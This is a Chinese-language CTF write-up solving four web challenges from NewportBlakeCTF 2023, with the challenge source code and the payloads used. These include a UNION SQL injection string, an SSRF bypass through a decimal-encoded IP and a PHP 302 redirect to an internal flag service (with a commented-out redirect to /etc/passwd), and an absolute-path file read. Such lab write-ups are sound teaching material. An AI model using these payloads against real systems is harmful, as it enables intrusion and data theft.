NewportBlakeCTF 2023(NBCTF 2023) Web方向 wp 全

2023-12-05

一共四个web,非常简单的一场国际赛

image-20231204030607359

Inspector Gadget

题目描述:While snooping around this website, inspector gadet lost parts of his flag. Can you help him find it?

开题,啊这

image-20231203214703385

点击如下介绍,前1/4的flag是文章的title

image-20231203214933836

image-20231203215003612

nbctf{G00d_

扫目录扫出 robots.txt ,里面的路由访问后发现了flag 4/4

image-20231204023354910

G4dg3t352}

第三部分应该是被图片覆盖住了,可以通过preview查看,源码也能看见。

image-20231204024411604

D3tect1v3_

第二部分在源码中定义了一个 getflag() 函数,控制台运行或者直接访问 .txt 文件都行。

image-20231204024610468

J06_

最终flag:

nbctf{G00d_J06_D3tect1v3_G4dg3t352}

walter’s crystal shop

题目描述:My buddy Walter is selling some crystals, check out his shop!

附件给了源码

const express = require("express");
const sqlite3 = require("sqlite3");
const fs = require("fs");

const app = express();
const db = new sqlite3.Database(":memory:");

const flag = fs.readFileSync("./flag.txt", { encoding: "utf8" }).trim();
const crystals = require("./crystals");

db.serialize(() => {
  db.run("CREATE TABLE crystals (name TEXT, price REAL, quantity INTEGER)");

  const stmt = db.prepare("INSERT INTO crystals (name, price, quantity) VALUES (?, ?, ?)");

  for (const crystal of crystals) {
    stmt.run(crystal["name"], crystal["price"], crystal["quantity"]);
  }
  stmt.finalize();

  db.run("CREATE TABLE IF NOT EXISTS flag (flag TEXT)");
  db.run(`INSERT INTO flag (flag) VALUES ('${flag}')`);
});

app.get("/crystals", (req, res) => {
  const { name } = req.query;

  if (!name) {
    return res.status(400).send({ err: "Missing required fields" });
  }

  db.all(`SELECT * FROM crystals WHERE name LIKE '%${name}%'`, (err, rows) => {
    if (err) {
      console.error(err.message);
      return res.status(500).send('Internal server error');
    }

    return res.send(rows);
  });
});

app.get("/", (req, res) => {
  res.sendfile(__dirname + "/index.html");
});

app.listen(3000, () => {
  console.log("Server listening on port 3000");
});

一眼SQL注入 SELECT * FROM crystals WHERE name LIKE '%${name}%' ,单引号闭合

/crystals?name=1' union select 4,5,6--+

image-20231203220422305

根据源码得知,flag在当前库下的 flag 表的 flag 列中,直接联合注入查询flag即可。

/crystals?name=1' and 1=2 union select 1,2,flag from flag--+

image-20231204024212968

secret tunnel

题目描述:Can you find the flag on the other end of my secret tunnel?

附件直接给了源码

main.py

#!/usr/local/bin/python

from flask import Flask, render_template, request, Response
import requests

app = Flask(__name__,
            static_url_path='',
            static_folder="static")

@app.route("/fetchdata", methods=["POST"])
def fetchdata():
    url = request.form["url"]

    if "127" in url:
        return Response("No loopback for you!", mimetype="text/plain")
    if url.count('.') > 2:
        return Response("Only 2 dots allowed!", mimetype="text/plain")
    if "x" in url:
        return Response("I don't like twitter >:(" , mimetype="text/plain") 
    if "flag" in url:
        return Response("It's not gonna be that easy :)", mimetype="text/plain")

    try:
        res = requests.get(url)
    except Exception as e:
        return Response(str(e), mimetype="text/plain")

    return Response(res.text[:32], mimetype="text/plain")

@app.route("/", methods=["GET"])
def index():
    return render_template("index.html")

if __name__ == "__main__":
    app.run()

flag.py

from flask import Flask, Response

app = Flask(__name__)

flag = open("flag.txt", "r").read()

@app.route("/flag", methods=["GET"])
def index():
    return Response(flag, mimetype="text/plain")

if __name__ == "__main__":
    app.run(port=1337)

开题,要求输入url

image-20231203221504789

输入百度试试,真能得到百度的内容。这题是SSRF访问内网 /flag 路由,绕过过滤。

/

限制URL包含 127 两个以上点号 flag x

127倒是好绕,flag路由无法绕过。我们选择使用302跳转

利用302跳转,需要一个vps,把302转换的代码部署到vps上,然后去访问,就可跳转到内网中。 302跳转就是由一个URL跳转到另外一个URL当中去,就好比现实生活中的呼叫转移,在网页中比如一个网站的网址更新了,一部分的用户还不知道,就可以使用302跳转,从旧的网址跳转到新的网址上,按照这个思路,我们需要实现另外一种表达方式绕过127.0.0.1/flag.php。 在自己服务器上面放一个302.php或者直接在线网站

payload:(ip多余两个点,使用ip转数字绕过)

url=http://2016291245/302.php

302.php文件内容:(注意端口是1337,flag.py文件里面开的服务端口是1337)

<?php
    header("HTTP/1.1 302 found"); 
    header("Location:http://127.0.0.1:1337/flag");
    //header("Location:file:///etc/passwd");
    exit();
?>

image-20231204025630652

Galleria

题目描述:Put up some fun images for everyone in this amazing image gallery!

附件给了源码:

from flask import Flask, render_template, request, redirect, url_for, send_file
import os
from pathlib import Path
from werkzeug.utils import secure_filename

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = 'uploads'


@app.route('/')
def index():
    return render_template('index.html')


def allowed_file(filename):
    allowed_extensions = {'jpg', 'jpeg', 'png', 'gif'}
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in allowed_extensions


@app.route('/upload', methods=['POST'])
def upload():
    file = request.files['image']
    if file and allowed_file(file.filename):
        file.seek(0, os.SEEK_END)
        if file.tell() > 1024 * 1024 * 2:
            return "File is too large", 413

        file.seek(0)
        filename = secure_filename(os.path.basename(file.filename))
        file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))

    return redirect(url_for('gallery'))


def check_file_path(path):
    _path = Path(path)

    parts = [*Path.cwd().parts][1:]
    for part in _path.parts:
        if part == '.':
            continue
        if part == '..':
            parts.pop()
        else:
            parts.append(part)

        if len(parts) == 0:
            return False

    _path = os.path.join(os.getcwd(), path)
    _path = Path(_path)
    return _path.exists() and _path.is_file()


@app.route('/gallery')
def gallery():
    if request.args.get('file'):
        filename = os.path.join('uploads', request.args.get('file'))
        if not check_file_path(filename):
            return redirect(url_for('gallery'))

        return send_file(filename)

    image_files = [f for f in os.listdir(
        app.config['UPLOAD_FOLDER'])]
    return render_template('gallery.html', images=image_files)


if __name__ == '__main__':
    app.run(debug=False, port=5000, host='0.0.0.0')

Dockerfile

FROM python:3.11-slim AS app

WORKDIR /var/www/html

RUN pip3 install --no-cache-dir flask

RUN mkdir uploads
COPY app.py .
COPY templates ./templates

COPY flag.txt /tmp/flag.txt

CMD ["python3", "app.py"]

开题,是一个文件上传界面

image-20231204025754782

看源码和后端py源码不难发现,其实是任意文件读取

image-20231204030045520

payload:

/gallery?file=/tmp/flag.txt

image-20231204030517176

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

NewportBlakeCTF 2023(NBCTF 2023) Web方向 wp 全 的相关文章

随机推荐